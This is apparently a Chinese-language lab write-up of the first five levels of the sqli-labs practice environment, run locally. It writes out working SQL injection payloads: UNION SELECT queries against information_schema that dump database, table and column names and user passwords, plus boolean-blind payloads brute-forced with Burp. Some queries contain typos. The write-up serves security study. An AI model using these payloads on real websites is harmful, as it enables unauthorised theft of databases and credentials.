首先,我们需要搭建sqli-labs,在网上下载相关资源,并解压缩在小皮的WWW目录下,最先下载的是php5版本的资源,将小皮中的php版本换为5,无法创建数据库,又找到php7版本的资源,但是仍报错,最终在不断尝试下,又下载了MySQL5.1才顺利运行,
less1:
首先看到的是这句话:Please input the ID as parameter with numeric value
所以我打开hackbar先输入一个id=1进去(为了学习和操作方便,我直接在源代码中添加了echo $sql;使sql语句直接显示在welcome下方)我们发现,网站正常返回了一个用户名与密码,继续输入不同的数字,同样的会返回不同的账号与密码。再之后我们尝试对其通过加分号,发现报错,
而我们继续使用一个二维语句,并用注释符--+放置结尾:
?id =1' and 1=2--+
发送后语句后并没有返回报错,那我们的语句被正常执行,存在注入漏洞。
接下来,我们使用order by语句,order by的功能是对表中第n列数据进行排序,所以我们可以通过其报错来判断表中的列数,接下来从十开始,
我们发现报错,接下来使用二分法,令数字减半,最终试出有三个字段
接下来使用union selec联合查询来找到库名并观察返回值
语句正常执行,但是与只输入1是一样的结果,所以我们继续将前方的1去掉,改为-1
事情发生了新的变化,在用户名与密码的位置出现了我们注入得到的2与3,表明这两个位置我们可用。将3的位置作为一个显示位,输入
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata--+,对其进行查库操作,接着继续加入limit n,1来对库中不同行数据进行查询,如果数据过多查询太过繁琐,我们就可以使用group_concat()函数来连接到一行显示
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
我们继续对security进行操作
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
单引号可能会引起一些问题,在有些时候需要改为十六进制,但是这里没有问题,就先继续使用了,此时,我们找到了用户名与密码的目录,
第一关完成,此时也可以使用contact_ws('--',username,password)这个函数来一一对应取出账户与密码。
查看是否有注入
查看有多少列
查看哪些数据可回显
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select clumn_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users
这是前几关的基本思路
less2:
第二关与第一关的差别不大,但是第二关并非第一关的字符串型,所以在?id=1后并不需要加单引号闭合,此外与第一关操作完全相同
![](https://img-blog.csdnimg.cn/direct/0d1a253407154483ad3341b509355583.png)
![](https://img-blog.csdnimg.cn/direct/c2c045420e5a41a88a0f49874d52a2ce.png)
less3:
在第三题中,我们输入一个1’报错中1被双引号与括号包裹,并且我们多一个单引号,所以在加上括号后,将结尾注释掉,我们发现恢复正常
所以此题和第一题类似,但是需要多加一个括号,其余步骤与上相同
less4
同样的,我们再次输入1‘,发现能够正常返回,将’改为"后,出现报错观察报错我们多写一个双引号并在右侧出现括号,于是输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1")--+
正常返回,于是重复之前题目步骤,解决题目
less5
来到第五题后,我们传入一个1,与之前题目不同当我们更改其他数字时,其仅仅显示You are in 或不显示,当输入1’时,发生报错,说明存在注入漏洞,此题在传入正确内容时有回显,而传入错误内容时不显示,且显示内容不变化,所以,我们使用以下语句判断
http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%20left((select%20database()),1)=%27A%27--+此时无回显数据,当我们将A不断更改时,会发现,当其等于S时,出现了返回数据
所以,我们可以使用burp爆破,继续将第二位第三位试出,最后得到库名。
接下来我们换一种方法,
1./?id=1' and ascii(substr((select schema_name from information_schemata limit 1,1),1,1))>100--+
通过爆破红色位置,我们能得到其他库信息,使用相似方法,我们可以通过是否返回来猜测爆破数据是否正确,从而继续猜解其表信息,最终得到字段内的值。